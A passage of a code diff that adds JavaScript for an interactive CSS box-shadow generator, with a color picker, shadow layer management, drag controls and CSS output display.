+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+	}
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r &lt; 16) r = '0' + r;
+		if (this.g &lt; 16) g = '0' + g;
+		if (this.b &lt; 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	}
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
+		var a = '';
+		var v = '';
+		if (this.a !== 1) {
+			a = 'a';
+			v = ', ' + this.a;
+		}
+
+		var value = "rgb" + a + rgb + v + ")";
+		return value;
+	}
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	}
+
+	/**
+	 * Shadow Object
+	 */
+	function Shadow() {
+		this.inset  = false;
+		this.posX   = 5;
+		this.posY   = -5;
+		this.blur   = 5;
+		this.spread = 0;
+		this.color  = new Color();
+
+		var hue			= (Math.random() * 360) | 0;
+		var saturation	= (Math.random() * 75) | 0;
+		var value 		= (Math.random() * 50 + 50) | 0;
+		this.color.setHSV(hue, saturation, value, 1);
+	}
+
+	Shadow.prototype.computeCSS = function computeCSS() {
+		var value = "";
+		if (this.inset === true)
+			value += "inset ";
+		value += this.posX + "px ";
+		value += this.posY + "px ";
+		value += this.blur + "px ";
+		value += this.spread + "px ";
+		value += this.color.getColor();
+
+		return value;
+	}
+
+	Shadow.prototype.toggleInset = function toggleInset(value) {
+		if (value !== undefined || typeof value === "boolean")
+			this.inset = value;
+		else
+			this.inset = this.inset === true ? false : true;
+	}
+
+	Shadow.prototype.copy = function copy(obj) {
+		if(obj instanceof Shadow !== true) {
+			console.log("Typeof instance not Shadow");
+			return;
+		}
+
+		this.inset  = obj.inset;
+		this.posX   = obj.posX;
+		this.posY   = obj.posY;
+		this.blur   = obj.blur;
+		this.spread = obj.spread;
+		this.color.copy(obj.color);
+	}
+
+	/**
+	 * Color Picker
+	 */
+	var ColoPicker = (function ColoPicker() {
+
+		var colorpicker;
+		var hue_area;
+		var gradient_area;
+		var alpha_area;
+		var gradient_picker;
+		var hue_selector;
+		var alpha_selector;
+		var pick_object;
+		var info_rgb;
+		var info_hsv;
+		var info_hexa;
+		var output_color;
+		var color = new Color();
+		var subscribers = [];
+
+		var updateColor = function updateColor(e) {
+			var x = e.pageX - gradient_area.offsetLeft;
+			var y = e.pageY - gradient_area.offsetTop;
+
+			// width and height should be the same
+			var size = gradient_area.clientWidth;
+
+			if (x &gt; size)
+				x = size;
+			if (y &gt; size)
+				y = size;
+
+			if (x &lt; 0) x = 0;
+			if (y &lt; 0) y = 0;
+
+			var value = 100 - (y * 100 / size) | 0;
+			var saturation = x * 100 / size | 0;
+
+			color.setHSV(color.hue, saturation, value);
+			// should update just
+			// color pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateHue = function updateHue(e) {
+			var x = e.pageX - hue_area.offsetLeft;
+			var width = hue_area.clientWidth;
+
+			if (x &lt; 0) x = 0;
+			if (x &gt; width) x = width;
+
+			var hue = ((360 * x) / width) | 0;
+			if (hue === 360) hue = 359;
+
+			color.setHSV(hue, color.saturation, color.value);
+
+			// should update just
+			// hue pointer location
+			// picker area background
+			// alpha area background
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateAlpha = function updateAlpha(e) {
+			var x = e.pageX - alpha_area.offsetLeft;
+			var width = alpha_area.clientWidth;
+
+			if (x &lt; 0) x = 0;
+			if (x &gt; width) x = width;
+
+			color.a = (x / width).toFixed(2);
+
+			// should update just
+			// alpha pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var setHueGfx = function setHueGfx(hue) {
+			var sat = color.saturation;
+			var val = color.value;
+			var alpha = color.a;
+
+			color.setHSV(hue, 100, 100);
+			gradient_area.style.backgroundColor = color.getHexa();
+
+			color.a = 0;
+			var start = color.getRGBA();
+			color.a = 1;
+			var end = color.getRGBA();
+			color.a = alpha;
+
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+		}
+
+		var updateUI = function updateUI() {
+			var x, y;		// coordinates
+			var size;		// size of the area
+			var offset;		// pointer graphic selector offset
+
+			// Set color pointer location
+			size = gradient_area.clientWidth;
+			offset = gradient_picker.clientWidth / 2 + 2;
+
+			x = (color.saturation * size / 100) | 0;
+			y = size - (color.value * size / 100) | 0;
+
+			gradient_picker.style.left = x - offset + "px";
+			gradient_picker.style.top = y - offset + "px";
+
+			// Set hue pointer location
+			size = hue_area.clientWidth;
+			offset = hue_selector.clientWidth/2;
+			x = (color.hue * size / 360 ) | 0;
+			hue_selector.style.left = x - offset + "px";
+
+			// Set alpha pointer location
+			size = alpha_area.clientWidth;
+			offset = alpha_selector.clientWidth/2;
+			x = (color.a * size) | 0;
+			alpha_selector.style.left = x - offset + "px";
+
+			// Set picker area background
+			var nc = new Color();
+			nc.copy(color);
+			if (nc.hue === 360) nc.hue = 0;
+			nc.setHSV(nc.hue, 100, 100);
+			gradient_area.style.backgroundColor = nc.getHexa();
+
+			// Set alpha area background
+			nc.copy(color);
+			nc.a = 0;
+			var start = nc.getRGBA();
+			nc.a = 1;
+			var end = nc.getRGBA();
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+
+			// Update color info
+			notify("color", color);
+			notify("hue", color.hue);
+			notify("saturation", color.saturation);
+			notify("value", color.value);
+			notify("r", color.r);
+			notify("g", color.g);
+			notify("b", color.b);
+			notify("a", color.a);
+			notify("hexa", color.getHexa());
+			output_color.style.backgroundColor = color.getRGBA();
+		}
+
+		var setInputComponent = function setInputComponent(node) {
+			var topic = node.getAttribute('data-topic');
+			var title = node.getAttribute('data-title');
+			var action = node.getAttribute('data-action');
+			title = title === null ? '' : title;
+
+			var input = document.createElement('input');
+			var info = document.createElement('span');
+			info.textContent = title;
+
+			input.setAttribute('type', 'text');
+			input.setAttribute('data-action', 'set-' + action + '-' + topic);
+			node.appendChild(info);
+			node.appendChild(input);
+
+			input.addEventListener('click', function(e) {
+				this.select();
+			});
+
+			input.addEventListener('change', function(e) {
+				if (action === 'HSV')
+					inputChangeHSV(topic);
+				if (action === 'RGB')
+					inputChangeRGB(topic);
+				if (action === 'alpha')
+					inputChangeAlpha(topic);
+				if (action === 'hexa')
+					inputChangeHexa(topic);
+			});
+
+			subscribe(topic, function(value) {
+				node.children[1].value = value;
+			});
+		}
+
+		var inputChangeHSV = function actionHSV(topic) {
+			var selector = "[data-action='set-HSV-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+				value &gt;= 0 &amp;&amp; value &lt; 360)
+				color[topic] = value;
+
+			color.updateRGB();
+			updateUI();
+		}
+
+		var inputChangeRGB = function inputChangeRGB(topic) {
+			var selector = "[data-action='set-RGB-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+				value &gt;= 0 &amp;&amp; value &lt;= 255)
+				color[topic] = value;
+
+			color.updateHSV();
+			updateUI();
+		}
+
+		var inputChangeAlpha = function inputChangeAlpha(topic) {
+			var selector = "[data-action='set-alpha-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseFloat(node.value);
+
+			if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+				value &gt;= 0 &amp;&amp; value &lt;= 1)
+				color.a = value.toFixed(2);
+
+			updateUI();
+		}
+
+		var inputChangeHexa = function inputChangeHexa(topic) {
+			var selector = "[data-action='set-hexa-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = node.value;
+			color.setHexa(value);
+			color.updateHSV();
+			updateUI();
+		}
+
+		var setMouseTracking = function setMouseTracking(elem, callback) {
+
+			elem.addEventListener("mousedown", function(e) {
+				callback(e);
+				document.addEventListener("mousemove", callback);
+			});
+
+			document.addEventListener("mouseup", function(e) {
+				document.removeEventListener("mousemove", callback);
+			});
+		}
+
+		/*
+		 * Observer
+		 */
+		var setColor = function setColor(obj) {
+			if(obj instanceof Color !== true) {
+				console.log("Typeof instance not Color");
+				return;
+			}
+			color.copy(obj);
+			updateUI();
+		}
+
+		var subscribe = function subscribe(topic, callback) {
+			if (subscribers[topic] === undefined)
+				subscribers[topic] = [];
+
+			subscribers[topic].push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(topic, value) {
+			for (var i in subscribers[topic])
+				subscribers[topic][i](value);
+		}
+
+		var init = function init() {
+			colorpicker		= getElemById("colorpicker");
+			hue_area		= getElemById("hue");
+			gradient_area	= getElemById("gradient");
+			alpha_area		= getElemById("alpha");
+			gradient_picker	= getElemById("gradient_picker");
+			hue_selector	= getElemById("hue_selector");
+			alpha_selector	= getElemById("alpha_selector");
+			output_color	= getElemById("output_color");
+
+			var elem = document.querySelectorAll('#colorpicker .input');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				setInputComponent(elem[i]);
+
+			setMouseTracking(gradient_area, updateColor);
+			setMouseTracking(hue_area, updateHue);
+			setMouseTracking(alpha_area, updateAlpha);
+
+		}
+
+		return {
+			init : init,
+			setColor : setColor,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/*
+	 * Element Class
+	 */
+	var CssClass = function CssClass(id) {
+		this.left = 0;
+		this.top = 0;
+		this.rotate = 0;
+		this.width = 300;
+		this.height = 100;
+		this.display = true;
+		this.border = true;
+		this.zIndex = -1;
+		this.bgcolor = new Color();
+		this.id = id;
+		this.node = getElemById('obj-' + id);
+		this.object = getElemById(id);
+		this.shadowID = null;
+		this.shadows = []
+		this.render = [];
+		this.init();
+	}
+
+	CssClass.prototype.init = function init() {
+		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
+		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
+
+		this.setTop(this.top);
+		this.setLeft(this.left);
+		this.setHeight(this.height);
+		this.setWidth(this.width);
+		this.bgcolor.setHSV(0, 0, 100);
+		this.updateBgColor(this.bgcolor);
+	}
+
+	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
+		this.left += deltaX;
+		this.top += deltaY;
+		this.node.style.top = this.top + "px";
+		this.node.style.left = this.left + "px";
+		SliderManager.setValue("left", this.left);
+		SliderManager.setValue("top", this.top);
+	}
+
+	CssClass.prototype.setLeft = function setLeft(value) {
+		this.left = value;
+		this.node.style.left = this.left + "px";
+		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
+	}
+
+	CssClass.prototype.setTop = function setTop(value) {
+		this.top = value;
+		this.node.style.top = this.top + 'px';
+		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
+	}
+
+	CssClass.prototype.setWidth = function setWidth(value) {
+		this.width = value;
+		this.node.style.width = this.width + 'px';
+		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
+	}
+
+	CssClass.prototype.setHeight = function setHeight(value) {
+		this.height = value;
+		this.node.style.height = this.height + 'px';
+		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
+	}
+
+	// Browser support
+	CssClass.prototype.setRotate = function setRotate(value) {
+		var cssvalue = 'rotate(' + value +'deg)';
+
+		this.node.style.transform = cssvalue;
+		this.node.style.webkitTransform = cssvalue;
+		this.node.style.msTransform = cssvalue;
+
+		if (value !== 0) {
+			if (this.rotate === 0) {
+				OutputManager.toggleProperty(this.id, 'transform', true);
+				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
+				OutputManager.toggleProperty(this.id, '-ms-transform', true);
+			}
+		}
+		else {
+			OutputManager.toggleProperty(this.id, 'transform', false);
+			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
+			OutputManager.toggleProperty(this.id, '-ms-transform', false);
+		}
+
+		OutputManager.updateProperty(this.id, 'transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
+		this.rotate = value;
+	}
+
+	CssClass.prototype.setzIndex = function setzIndex(value) {
+		this.node.style.zIndex = value;
+		OutputManager.updateProperty(this.id, 'z-index', value);
+		this.zIndex = value;
+	}
+
+	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
+		if (typeof value !== "boolean" || this.display === value)
+			return;
+
+		this.display = value;
+		var display = this.display === true ? "block" : "none";
+		this.node.style.display = display;
+		this.object.style.display = display;
+	}
+
+	CssClass.prototype.toggleBorder = function toggleBorder(value) {
+		if (typeof value !== "boolean" || this.border === value)
+			return;
+
+		this.border = value;
+		var border = this.border === true ? "1px solid #CCC" : "none";
+		this.node.style.border = border;
+	}
+
+	CssClass.prototype.updateBgColor = function updateBgColor(color) {
+		this.bgcolor.copy(color);
+		this.node.style.backgroundColor = color.getColor();
+		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
+	}
+
+	CssClass.prototype.updateShadows = function updateShadows() {
+		if (this.render.length === 0)
+			OutputManager.toggleProperty(this.id, 'box-shadow', false);
+		if (this.render.length === 1)
+			OutputManager.toggleProperty(this.id, 'box-shadow', true);
+
+		this.node.style.boxShadow = this.render.join(", ");
+		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
+
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+
+		var preview;
+		var classes = [];
+		var active = null;
+		var animate = false;
+
+		/*
+		 * Toll actions
+		 */
+		var addCssClass = function addCssClass(id) {
+			classes[id] = new CssClass(id);
+		}
+
+		var setActiveClass = function setActiveClass(id) {
+			active = classes[id];
+			active.shadowID = null;
+			ColoPicker.setColor(classes[id].bgcolor);
+			SliderManager.setValue("top", active.top);
+			SliderManager.setValue("left", active.left);
+			SliderManager.setValue("rotate", active.rotate);
+			SliderManager.setValue("z-index", active.zIndex);
+			SliderManager.setValue("width", active.width);
+			SliderManager.setValue("height", active.height);
+			ButtonManager.setValue("border-state", active.border);
+			active.updateShadows();
+		}
+
+		var disableClass = function disableClass(topic) {
+			classes[topic].toggleDisplay(false);
+			ButtonManager.setValue(topic, false);
+		}
+
+		var addShadow = function addShadow(position) {
+			if (animate === true)
+				return -1;
+
+			active.shadows.splice(position, 0, new Shadow());
+			active.render.splice(position, 0, null);
+		}
+
+		var swapShadow = function swapShadow(id1, id2) {
+			var x = active.shadows[id1];
+			active.shadows[id1] = active.shadows[id2];
+			active.shadows[id2] = x;
+			updateShadowCSS(id1);
+			updateShadowCSS(id2);
+		}
+
+		var deleteShadow = function deleteShadow(position) {
+			active.shadows.splice(position, 1);
+			active.render.splice(position, 1);
+			active.updateShadows();
+		}
+
+		var setActiveShadow = function setActiveShadow(id, glow) {
+			active.shadowID = id;
+			ColoPicker.setColor(active.shadows[id].color);
+			ButtonManager.setValue("inset", active.shadows[id].inset);
+			SliderManager.setValue("blur", active.shadows[id].blur);
+			SliderManager.setValue("spread", active.shadows[id].spread);
+			SliderManager.setValue("posX", active.shadows[id].posX);
+			SliderManager.setValue("posY", active.shadows[id].posY);
+			if (glow === true)
+				addGlowEffect(id);
+		}
+
+		var addGlowEffect = function addGlowEffect(id) {
+			if (animate === true)
+				return;
+
+			animate = true;
+			var store = new Shadow();
+			var shadow = active.shadows[id];
+
+			store.copy(shadow);
+			shadow.color.setRGBA(40, 125, 200, 1);
+			shadow.blur = 10;
+			shadow.spread = 10;
+
+			active.node.style.transition = "box-shadow 0.2s";
+			updateShadowCSS(id);
+
+			setTimeout(function() {
+				shadow.copy(store);
+				updateShadowCSS(id);
+				setTimeout(function() {
+					active.node.style.removeProperty("transition");
+					animate = false;
+				}, 100);
+			}, 200);
+		}
+
+		var updateActivePos = function updateActivePos(deltaX, deltaY) {
+			if (active.shadowID === null)
+				active.updatePos(deltaX, deltaY);
+			else
+				updateShadowPos(deltaX, deltaY);
+		}
+
+		/*
+		 * Shadow properties
+		 */
+		var updateShadowCSS = function updateShadowCSS(id) {
+			active.render[id] = active.shadows[id].computeCSS();
+			active.updateShadows();
+		}
+
+		var toggleShadowInset = function toggleShadowInset(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].toggleInset(value);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
+			var shadow = active.shadows[active.shadowID];
+			shadow.posX += deltaX;
+			shadow.posY += deltaY;
+			SliderManager.setValue("posX", shadow.posX);
+			SliderManager.setValue("posY", shadow.posY);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosX = function setShadowPosX(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posX = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosY = function setShadowPosY(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posY = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowBlur = function setShadowBlur(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].blur = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowSpread = function setShadowSpread(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].spread = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowColor = function updateShadowColor(color) {
+			active.shadows[active.shadowID].color.copy(color);
+			updateShadowCSS(active.shadowID);
+		}
+
+		/*
+		 * Element Properties
+		 */
+		var updateColor = function updateColor(color) {
+			if (active.shadowID === null)
+				active.updateBgColor(color);
+			else
+				updateShadowColor(color);
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+
+			ColoPicker.subscribe("color", updateColor);
+			PreviewMouseTracking.subscribe(updateActivePos);
+
+			// Affects shadows
+			ButtonManager.subscribe("inset", toggleShadowInset);
+			SliderManager.subscribe("posX", setShadowPosX);
+			SliderManager.subscribe("posY", setShadowPosY);
+			SliderManager.subscribe("blur", setShadowBlur);
+			SliderManager.subscribe("spread", setShadowSpread);
+
+			// Affects element
+			SliderManager.subscribe("top", function(value){
+				active.setTop(value);
+			});
+			SliderManager.subscribe("left", function(value){
+				active.setLeft(value);
+			});
+			SliderManager.subscribe("rotate", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setRotate(value);
+			});
+
+			SliderManager.subscribe("z-index", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setzIndex(value);
+			});
+
+			SliderManager.subscribe("width", function(value) {
+				active.setWidth(value)
+			});
+
+			SliderManager.subscribe("height", function(value) {
+				active.setHeight(value)
+			});
+
+			// Actions
+			classes['before'].top = -30;
+			classes['before'].left = -30;
+			classes['after'].top = 30;
+			classes['after'].left = 30;
+			classes['before'].toggleDisplay(false);
+			classes['after'].toggleDisplay(false);
+			ButtonManager.setValue('before', false);
+			ButtonManager.setValue('after', false);
+
+			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
+			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
+
+			ButtonManager.subscribe("border-state", function(value) {
+				active.toggleBorder(value);
+			});
+
+		}
+
+		return {
+			init 			: init,
+			addShadow		: addShadow,
+			swapShadow		: swapShadow,
+			addCssClass		: addCssClass,
+			disableClass	: disableClass,
+			deleteShadow	: deleteShadow,
+			setActiveClass	: setActiveClass,
+			setActiveShadow : setActiveShadow
+		}
+
+	})();
+
+	/**
+	 * Layer Manager
+	 */
+	var LayerManager = (function LayerManager() {
+		var stacks = [];
+		var active = {
+			node : null,
+			stack : null
+		}
+		var elements = {};
+
+		var mouseEvents = function mouseEvents(e) {
+			var node = e.target;
+			var type = node.getAttribute('data-type');
+
+			if (type === 'subject')
+				setActiveStack(stacks[node.id]);
+
+			if (type === 'disable') {
+				Tool.disableClass(node.parentNode.id);
+				setActiveStack(stacks['element']);
+			}
+
+			if (type === 'add')
+				active.stack.addLayer();
+
+			if (type === 'layer')
+				active.stack.setActiveLayer(node);
+
+			if (type === 'delete')
+				active.stack.deleteLayer(node.parentNode);
+
+			if (type === 'move-up')
+				active.stack.moveLayer(1);
+
+			if (type === 'move-down')
+				active.stack.moveLayer(-1);
+		}
+
+		var setActiveStack = function setActiveStack(stackObj) {
+			active.stack.hide();
+			active.stack = stackObj;
+			active.stack.show();
+		}
+
+		/*
+		 * Stack object
+		 */
+		var Stack = function Stack(subject) {
+			var S = document.createElement('div');
+			var title = document.createElement('div');
+			var stack = document.createElement('div');
+
+			S.className = 'container';
+			stack.className = 'stack';
+			title.className = 'title';
+			title.textContent = subject.getAttribute('data-title');
+			S.appendChild(title);
+			S.appendChild(stack);
+
+			this.id = subject.id;
+			this.container = S;
+			this.stack = stack;
+			this.subject = subject;
+			this.order = [];
+			this.uid = 0;
+			this.count = 0;
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.addLayer = function addLayer() {
+			if (Tool.addShadow(this.layerID) == -1)
+				return;
+
+			var uid = this.getUID();
+			var layer = this.createLayer(uid);
+
+			if (this.layer === null &amp;&amp; this.stack.children.length &gt;= 1)
+				this.layer = this.stack.children[0];
+
+			this.stack.insertBefore(layer, this.layer);
+			this.order.splice(this.layerID, 0, uid);
+			this.count++;
+			this.setActiveLayer(layer);
+		}
+
+		Stack.prototype.createLayer = function createLayer(uid) {
+			var layer = document.createElement('div');
+			var del = document.createElement('span');
+
+			layer.className = 'node';
+			layer.setAttribute('data-shid', uid);
+			layer.setAttribute('data-type', 'layer');
+			layer.textContent = 'Ombre ' + uid;
+
+			del.className = 'delete';
+			del.setAttribute('data-type', 'delete');
+
+			layer.appendChild(del);
+			return layer;
+		}
+
+		Stack.prototype.getUID = function getUID() {
+			return this.uid++;
+		}
+
+		// SOLVE IE BUG
+		Stack.prototype.moveLayer = function moveLayer(direction) {
+			if (this.count &lt;= 1 || this.layer === null)
+				return;
+			if (direction === -1 &amp;&amp; this.layerID === (this.count - 1) )
+				return;
+			if (direction === 1 &amp;&amp; this.layerID === 0 )
+				return;
+
+			if (direction === -1) {
+				var before = null;
+				Tool.swapShadow(this.layerID, this.layerID + 1);
+				this.swapOrder(this.layerID, this.layerID + 1);
+				this.layerID += 1;
+
+				if (this.layerID + 1 !== this.count)
+					before = this.stack.children[this.layerID + 1];
+
+				this.stack.insertBefore(this.layer, before);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+
+			if (direction === 1) {
+				Tool.swapShadow(this.layerID, this.layerID - 1);
+				this.swapOrder(this.layerID, this.layerID - 1);
+				this.layerID -= 1;
+				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+		}
+
+		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
+			var x = this.order[pos1];
+			this.order[pos1] = this.order[pos2];
+			this.order[pos2] = x;
+		}
+
+		Stack.prototype.deleteLayer = function deleteLayer(node) {
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			var index = this.order.indexOf(shadowID);
+			this.stack.removeChild(this.stack.children[index]);
+			this.order.splice(index, 1);
+			this.count--;
+
+			Tool.deleteShadow(index);
+
+			if (index &gt; this.layerID)
+				return;
+
+			if (index == this.layerID) {
+				if (this.count &gt;= 1) {
+					this.layerID = 0;
+					this.setActiveLayer(this.stack.children[0], true);
+				}
+				else {
+					this.layer = null;
+					this.show();
+				}
+			}
+
+			if (index &lt; this.layerID) {
+				this.layerID--;
+				Tool.setActiveShadow(this.layerID, true);
+			}
+
+		}
+
+		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
+			elements.shadow_properties.style.display = 'block';
+			elements.element_properties.style.display = 'none';
+
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = node;
+			this.layer.setAttribute('data-active', 'layer');
+
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			this.layerID = this.order.indexOf(shadowID);
+			Tool.setActiveShadow(this.layerID, true);
+		}
+
+		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.hide = function hide() {
+			this.unsetActiveLayer();
+			this.subject.removeAttribute('data-active');
+			var style = this.container.style;
+			style.left = '100%';
+			style.zIndex = '0';
+		}
+
+		Stack.prototype.show = function show() {
+			elements.shadow_properties.style.display = 'none';
+			elements.element_properties.style.display = 'block';
+
+			if (this.id === 'element') {
+				elements.zIndex.style.display = 'none';
+				elements.transform_rotate.style.display = 'none';
+			}
+			else {
+				elements.zIndex.style.display = 'block';
+				elements.transform_rotate.style.display = 'block';
+			}
+
+			this.subject.setAttribute('data-active', 'subject');
+			var style = this.container.style;
+			style.left = '0';
+			style.zIndex = '10';
+			Tool.setActiveClass(this.id);
+		}
+
+		function init() {
+
+			var elem, size;
+			var layerManager = getElemById("layer_manager");
+			var layerMenu = getElemById("layer_menu");
+			var container = getElemById("stack_container");
+
+			elements.shadow_properties = getElemById('shadow_properties');
+			elements.element_properties = getElemById('element_properties');
+			elements.transform_rotate = getElemById('transform_rotate');
+			elements.zIndex = getElemById('z-index');
+
+			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
+			size = elem.length;
+
+			for (var i = 0; i &lt; size; i++) {
+				var S = new Stack(elem[i]);
+				stacks[elem[i].id] = S;
+				container.appendChild(S.container);
+				Tool.addCssClass(elem[i].id);
+			}
+
+			active.stack = stacks['element'];
+			stacks['element'].show();
+
+			layerManager.addEventListener("click", mouseEvents);
+			layerMenu.addEventListener("click", mouseEvents);
+
+			ButtonManager.subscribe("before", function(value) {
+				if (value === false &amp;&amp; active.stack === stacks['before'])
+					setActiveStack(stacks['element'])
+				if (value === true &amp;&amp; active.stack !== stacks['before'])
+					setActiveStack(stacks['before'])
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				if (value === false &amp;&amp; active.stack === stacks['after'])
+					setActiveStack(stacks['element'])
+				if (value === true &amp;&amp; active.stack !== stacks['after'])
+					setActiveStack(stacks['after'])
+			});
+		}
+
+		return {
+			init : init
+		}
+	})();
+
+	/*
+	 * OutputManager
+	 */
+	var OutputManager = (function OutputManager() {
+		var classes = [];
+		var buttons = [];
+		var active = null;
+		var menu = null;
+		var button_offset = 0;
+
+		var crateOutputNode = function(topic, property) {
+
+			var prop = document.createElement('div');
+			var name = document.createElement('span');
+			var value = document.createElement('span');
+
+			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
+
+			name.textContent = '\t' + pmatch[4];
+
+			if (pmatch[3] !== undefined) {
+				name.textContent = '\t' + pmatch[2];
+				value.textContent = pmatch[3] + ';';
+			}
+
+			name.textContent += ': ';
+			prop.className = 'css-property';
+			name.className = 'name';
+			value.className = 'value';
+			prop.appendChild(name);
+			prop.appendChild(value);
+
+			classes[topic].node.appendChild(prop);
+			classes[topic].line[property] = prop;
+			classes[topic].prop[property] = value;
+		}
+
+		var OutputClass = function OutputClass(node) {
+			var topic = node.getAttribute('data-topic');
+			var prop = node.getAttribute('data-prop');
+			var name = node.getAttribute('data-name');
+			var properties = prop.split(' ');
+
+			classes[topic] = {};
+			classes[topic].node = node;
+			classes[topic].prop = [];
+			classes[topic].line = [];
+			classes[topic].button = new Button(topic);
+
+			var open_decl = document.createElement('div');
+			var end_decl = document.createElement('div');
+
+			open_decl.textContent = name + ' {';
+			end_decl.textContent = '}';
+			node.appendChild(open_decl);
+
+			for (var i in properties)
+				crateOutputNode(topic, properties[i]);
+
+			node.appendChild(end_decl);
+		}
+
+		var Button = function Button(topic) {
+			var button = document.createElement('div');
+
+			button.className = 'button';
+			button.textContent = topic;
+			button.style.left = button_offset + 'px';
+			button_offset += 100;
+
+			button.addEventListener("click", function() {
+				toggleDisplay(topic);
+			})
+
+			menu.appendChild(button);
+			return button;
+		}
+
+		var toggleDisplay = function toggleDisplay(topic) {
